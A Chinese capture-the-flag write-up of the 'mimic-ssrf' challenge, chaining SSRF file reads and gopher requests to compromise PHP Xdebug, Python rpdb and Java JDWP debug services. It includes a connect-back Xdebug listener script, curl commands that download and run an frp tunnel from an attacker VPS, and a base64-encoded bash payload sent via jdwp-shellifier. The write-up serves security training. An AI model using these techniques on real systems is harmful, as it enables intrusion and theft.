拟态web---mimic-ssrf

介绍

本文内容来自于ichunqiu的伽玛实验场之拟态挑战mimic-ssrf,借鉴邬江兴院士拟态防御理论设计的mimic-ssrf题目,该题目是个通过ssrf进行RCE的web环境,三种开发语言的debug调试器,代表了三种单异构体。一般黑客的攻击指令只会由一个异构体进行执行反馈,明确的攻击指令会有明确的反馈结果,但是在这道题中选手的攻击指令必须同时让3个异构体反馈一致的结果,不然在拟态的防御机制中,就会被表决失效。

类似于生物界的拟态防御,在网络空间防御领域中,使用拟态技术可极大的提升黑客攻击的难度。

本题内网使用了3种语言所搭建的服务,分别php、python和java,通过ssrf可以访问内网服务,并且服务都是设置debug模式,想办法获取到有用的信息,得到flag。

  • 参考原writeup【拟态挑战WP】2021年春秋杯秋季赛mimic-ssrf,原writeup步骤不完整,故重新补充记录

分析

mimic指的是“拟态”,ssrf指的是“由攻击者构造形成由服务端发起请求的安全漏洞”。再由题目描述可知,应该是要通过ssrf暴露远程debug端口,利用三种编程语言的debug调试器进行攻击。

该题以ssrf为入口:

尝试使用file协议读文件ssrf?url=file:///etc/passwd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
GET /ssrf?url=file:///etc/passwd HTTP/1.1
Host: eci-2zedy65w6hb1qe4zud3x.cloudeci1.ichunqiu.com:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://eci-2zedy65w6hb1qe4zud3x.cloudeci1.ichunqiu.com:8888/
Cookie: __jsluid_h=276004b4e0fd0f6fe3df0d1b6794aede
Upgrade-Insecure-Requests: 1

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
php:x:1000:1000::/home/php:/bin/sh
java:x:1001:1001::/home/java:/bin/sh
python:x:1002:1002::/home/python:/bin/sh
golang:x:1003:1003::/home/golang:/bin/sh
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin

可以看到成功读到/etc/passwd。

这个时候我们就可以考虑通过对linux下面的proc目录遍历进程,收集有用的信息。

/ssrf?url=file:///proc/§1§/cmdline可以得到大概有四个服务,如下:

  • java服务

  • php服务

  • python服务

根据题目描述可知,本题内网使用了3种语言所搭建的服务,分别php、python和java,接下来就按顺序来分析和利用。

php Xdebug RCE

XDebug是PHP的一个扩展,用于调试PHP代码.我们访问带有XDEBUG_SESSION_START参数时,目标服务器的XDebug将会连接访问者的IP(或X-Forwarded-For头指定的地址)将debug信息转发到相关客户端的调试端口并且可以执行相关调试函数,即可在目标服务器上执行任意PHP代码。

先读取index.php文件看看有什么信息。

1
2
3
GET /ssrf?url=file:///web/php/index.php HTTP/1.1

php

php的http服务里面什么都没有,读取php.ini

1
2
3
4
5
6
7
8
9
10
GET /ssrf?url=file:///etc/php/7.2/cli/php.ini HTTP/1.1

[xdebug]
zend_extension = xdebug
xdebug.mode=debug
xdebug.idekey="PHPSTORM"
xdebug.remote_handler = "dbgp"
xdebug.client_port = 13000
xdebug.start_with_request = trigger
xdebug.discover_client_host = 1

可以发现开启了xdebug和相关配置,client_port是13000。

我们可以现在自己的vps执行如下python脚本

  • exp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/python2
import socket

ip_port = ('0.0.0.0',13000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()

while True:
client_data = conn.recv(1024)
print(client_data)

data = raw_input('>> ')
conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))

关于php Xdebug RCE想了解更多可以参考以下文章,及exp脚本:

  • XDebug 远程调试漏洞(代码执行)
  • xdebug-rce.py

通过gopher构造get请求的原始数据

1
gopher://127.0.0.1:7410/_GET%2520%252Findex.php%253FXDEBUG_SESSION_START%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A7410%250D%250AUser-Agent%253A%2520curl%252F7.58.0%250D%250AAccept%253A%2520*%252F*%250D%250AX-Forwarded-For%253A%2520vps-ip%250D%250A%250D%250A

以上gopher数据url decode之后如下所示

1
2
3
4
5
6
7
gopher://127.0.0.1:7410/_GET /index.php?XDEBUG_SESSION_START HTTP/1.1
Host: 127.0.0.1:7410
User-Agent: curl/7.58.0
Accept: */*
X-Forwarded-For: vps-ip


意思是使用gopher协议请求开放在内网的本地7410端口的index.php的XDEBUG_SESSION_START,然后X-Forwarded-For头指向自己vps的地址:vps-ip

使用burp多发几次包即可:

1
GET /ssrf?url=gopher://127.0.0.1:7410/_GET%2520%252Findex.php%253FXDEBUG_SESSION_START%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A7410%250D%250AUser-Agent%253A%2520curl%252F7.58.0%250D%250AAccept%253A%2520*%252F*%250D%250AX-Forwarded-For%253A%2520vps-ip%250D%250A%250D%250A HTTP/1.1

vps接着收到了信息;然后可以system(“ls /“)执行任意代码了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@vsdfva:~# python2 exp.py 
483<?xml version="1.0" encoding="iso-8859-1"?>
<init xmlns="urn:debugger_protocol_v1" xmlns:xdebug="https://xdebug.org/dbgp/xdebug" fileuri="file:///web/php/index.php" language="PHP" xdebug:language_version="7.2.24-0ubuntu0.18.04.10" protocol_version="1.0" appid="37"><engine version="3.1.1"><![CDATA[Xdebug]]></engine><author><![CDATA[Derick Rethans]]></author><url><![CDATA[https://xdebug.org]]></url><copyright><![CDATA[Copyright (c) 2002-2021 by Derick Rethans]]></copyright></init>
>> system("ls /")
256<?xml version="1.0" encoding="iso-8859-1"?>
<response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="https://xdebug.org/dbgp/xdebug" command="eval" transaction_id="1"><property type="string" size="3" encoding="base64"><![CDATA[d2Vi]]></property></response>
>> system("id")
313<?xml version="1.0" encoding="iso-8859-1"?>
<response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="https://xdebug.org/dbgp/xdebug" command="eval" transaction_id="1"><property type="string" size="44" encoding="base64"><![CDATA[dWlkPTEwMDAocGhwKSBnaWQ9MTAwMChwaHApIGdyb3Vwcz0xMDAwKHBocCk=]]></property></response>
>> system("ls / |base64 -w 0")
446<?xml version="1.0" encoding="iso-8859-1"?>
<response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="https://xdebug.org/dbgp/xdebug" command="eval" transaction_id="1"><property type="string" size="144" encoding="base64"><![CDATA[WW1sdUNtSnZiM1FLWkdWMkNtVjBZd3BvYjIxbENtcGhkbUZmWm14aFp3cHNhV0lLYkdsaU5qUUtiV1ZrYVdFS2JXNTBDbTl3ZEFwd2FIQmZabXhoWndwd2NtOWpDbkp2YjNRS2NuVnVDbk5pYVc0S2MzSjJDbk41Y3dwMGJYQUtkWE55Q25aaGNncDNaV0lL]]></property></response>
>> system("cat /php_flag")
273<?xml version="1.0" encoding="iso-8859-1"?>
<response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="https://xdebug.org/dbgp/xdebug" command="eval" transaction_id="1"><property type="string" size="14" encoding="base64"><![CDATA[ZmxhZ3tiY2ZkODkwZi0=]]></property></response>

将CDATA中的base64字符串解密即可得到执行命令的结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
┌──(root💀kali)-[~]
└─# echo d2Vi |base64 -d
web
┌──(root💀kali)-[~]
└─# echo dWlkPTEwMDAocGhwKSBnaWQ9MTAwMChwaHApIGdyb3Vwcz0xMDAwKHBocCk= |base64 -d
uid=1000(php) gid=1000(php) groups=1000(php)
┌──(root💀kali)-[~]
└─# echo WW1sdUNtSnZiM1FLWkdWMkNtVjBZd3BvYjIxbENtcGhkbUZmWm14aFp3cHNhV0lLYkdsaU5qUUtiV1ZrYVdFS2JXNTBDbTl3ZEFwd2FIQmZabXhoWndwd2NtOWpDbkp2YjNRS2NuVnVDbk5pYVc0S2MzSjJDbk41Y3dwMGJYQUtkWE55Q25aaGNncDNaV0lL |base64 -d|base64 -d
bin
boot
dev
etc
home
java_flag
lib
lib64
media
mnt
opt
php_flag
proc
root
run
sbin
srv
sys
tmp
usr
var
web
┌──(root💀kali)-[~]
└─# echo ZmxhZ3tiY2ZkODkwZi0= |base64 -d
flag{bcfd890f-

同时获取到第一个php的flag

python rpdb RCE

rpdb扩展了pdb,让pdb支持远程调试功能.使用rpdb的python脚本在远程启动,本地通过telnet方式连接上rpdb提供的调试端口(默认端口4444),可以直接执行python代码。

先读/web/python/app.py

1
2
3
4
5
6
7
8
GET /ssrf?url=file:///web/python/app.py HTTP/1.1

import os
flag_path="/web/python/python_flag"
fl1l1l1l1laaggg=open(flag_path).read()
os.remove(flag_path)
import rpdb
rpdb.set_trace()

发现使用了远程调试器rpdb。

我们可以直接通过gopher协议攻击python把flag写入到/tmp/,然后直接通过file协议读取python flag。

1
GET /ssrf?url=gopher://127.0.0.1:4444/_open("/tmp/python_flag","w").write(fl1l1l1l1laaggg) HTTP/1.1
1
2
3
GET /ssrf?url=file:///tmp/python_flag HTTP/1.1

621c-4a1f-a466

获取到第二个python flag

java JDWP RCE

Java 虚拟机为 Java 语言提供 Java debugger、JDB 调试功能,应用在编译过程中可以开启 Remote Debug 模式,方便程序员远程对代码进行调试。但是,该模式没有身份校验机制,且可执行系统命令

首先将/web/java/Hello_web.jar下载到本地分析

1
2
3
4
5
6
7
8
9
10
11
>> system("ls -la /web/java/ |base64 -w 0")
654<?xml version="1.0" encoding="iso-8859-1"?>
<response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="https://xdebug.org/dbgp/xdebug" command="eval" transaction_id="1"><property type="string" size="300" encoding="base64"><![CDATA[ZEc5MFlXd2dNVGM0T1RJS1pISjNlSEl0ZUhJdGVDQXhJR3BoZG1FZ2FtRjJZU0FnSUNBZ05EQTVOaUJPYjNZZ01qUWdNVFU2TkRjZ0xncGtjbmQ0Y2kxNGNpMTRJREVnY205dmRDQnliMjkwSUNBZ0lDQTBNRGsySUU1dmRpQXlOQ0F4TlRvMU1DQXVMZ290Y25jdGNpMHRjaTB0SURFZ2FtRjJZU0JxWVhaaElERTRNekF4TnpNMElFNXZkaUF5TkNBeE5Ub3pNQ0JJWld4c2IxOTNaV0l1YW1GeUNtUnlkM2h5TFhoeUxYZ2dNU0JxWVhaaElHcGhkbUVnSUNBZ0lEUXdPVFlnVG05MklESTBJREUxT2pNNElHcGthekV1T0M0d1h6SXdNZ289]]></property></response>

┌──(root💀kali)-[~]
└─# echo ZEc5MFlXd2dNVGM0T1RJS1pISjNlSEl0ZUhJdGVDQXhJR3BoZG1FZ2FtRjJZU0FnSUNBZ05EQTVOaUJPYjNZZ01qUWdNVFU2TkRjZ0xncGtjbmQ0Y2kxNGNpMTRJREVnY205dmRDQnliMjkwSUNBZ0lDQTBNRGsySUU1dmRpQXlOQ0F4TlRvMU1DQXVMZ290Y25jdGNpMHRjaTB0SURFZ2FtRjJZU0JxWVhaaElERTRNekF4TnpNMElFNXZkaUF5TkNBeE5Ub3pNQ0JJWld4c2IxOTNaV0l1YW1GeUNtUnlkM2h5TFhoeUxYZ2dNU0JxWVhaaElHcGhkbUVnSUNBZ0lEUXdPVFlnVG05MklESTBJREUxT2pNNElHcGthekV1T0M0d1h6SXdNZ289 |base64 -d|base64 -d
total 17892
drwxr-xr-x 1 java java 4096 Nov 24 15:47 .
drwxr-xr-x 1 root root 4096 Nov 24 15:50 ..
-rw-r--r-- 1 java java 18301734 Nov 24 15:30 Hello_web.jar
drwxr-xr-x 1 java java 4096 Nov 24 15:38 jdk1.8.0_202

同样先查看源码/web/java/Hello_web.jar,使用jd-gui打开

可以发现是触发了String.equals这个函数。

需要做socket代理(使用frp)

远程搭建一个http服务,让容器下载我们的frp的工具,通过php的shell下载文件,搭建socket隧道

frp服务端及客户端配置可参考下列文章:

  • frp实现内网穿透(通过设置http代理/Socks代理)

vps开两个终端执行下列命令:

1
2
3
4
root@vsdfva:~# python -m SimpleHTTPServer 81
Serving HTTP on 0.0.0.0 port 81 ...
39.105.23.123 - - [17/Jan/2022 03:40:25] "GET /frpc.ini HTTP/1.1" 200 -
39.105.23.123 - - [17/Jan/2022 03:40:34] "GET /frpc HTTP/1.1" 200 -
1
2
3
4
5
6
7
root@vsdfva:~# ./frps -c frps.ini
2022/01/17 03:40:01 [I] [service.go:152] frps tcp listen on 0.0.0.0:5699
2022/01/17 03:40:01 [I] [service.go:251] Dashboard listen on 0.0.0.0:7500
2022/01/17 03:40:01 [I] [root.go:205] start frps success
2022/01/17 03:43:03 [I] [service.go:392] [c93dba57a1060eab] client login info: ip [39.105.23.123:3694] version [0.31.1] hostname [] os [linux] arch [amd64]
2022/01/17 03:43:04 [I] [tcp.go:63] [c93dba57a1060eab] [plugin_socks5] tcp proxy listen port [5001]
2022/01/17 03:43:04 [I] [control.go:445] [c93dba57a1060eab] new proxy [plugin_socks5] success

在靶场的php shell中执行下列命令

1
2
3
4
5
6
7
system("curl -L http://vpsip:81/frpc -o /tmp/frpc")

system("curl -L http://vpsip:81/frpc.ini -o /tmp/frpc.ini")

system("chmod 777 /tmp/*")

system("/tmp/frpc -c /tmp/frpc.ini")

然后就是配置好/etc/proxychains.conf之后,再攻击java的debug(proxychains 配置的是自己的socket配置)

  • jdwp-shellifier

打之后,通过ssrf的接口服务java的web服务即可触发断点,将java flag写入/tmp/java_flag,然后通过文件读取读取java flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(root💀kali)-[~]
└─# echo Y2F0IC9qYXZhX2ZsYWc+IC90bXAvamF2YV9mbGFn |base64 -d
cat /java_flag> /tmp/java_flag
┌──(root💀kali)-[~/jdwp-shellifier]
└─# proxychains python2 jdwp-shellifier.py -t 127.0.0.1 -p 20211 --cmd 'bash -c {echo,Y2F0IC9qYXZhX2ZsYWc+IC90bXAvamF2YV9mbGFn}|{base64,-d}|{bash,-i}' --break-on 'java.lang.String.equals'
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.15
[proxychains] Dynamic chain ... 45.32.139.236:5001 ... 127.0.0.1:20211 ... OK
[+] Targeting '127.0.0.1:20211'
[+] Reading settings for 'Java HotSpot(TM) 64-Bit Server VM - 1.8.0_202'
[+] Found Runtime class: id=11e9
[+] Found Runtime.getRuntime(): id=7f01e800c978
[+] Created break event id=2
[+] Waiting for an event on 'java.lang.String.equals'
[+] Received matching event from thread 0x12cd
[+] Selected payload 'bash -c {echo,Y2F0IC9qYXZhX2ZsYWc+IC90bXAvamF2YV9mbGFn}|{base64,-d}|{bash,-i}'
[+] Command string object created id:12ce
[+] Runtime.getRuntime() returned context id:0x12cf
[+] found Runtime.exec(): id=7f01e8007d48
[+] Runtime.exec() successful, retId=12d0
[!] Command successfully executed
1
2
3
GET /ssrf?url=file:///tmp/java_flag HTTP/1.1

-7a3353e9543e}

三个flag合并在一起得到最终的flag

1
flag{bcfd890f-621c-4a1f-a466-7a3353e9543e}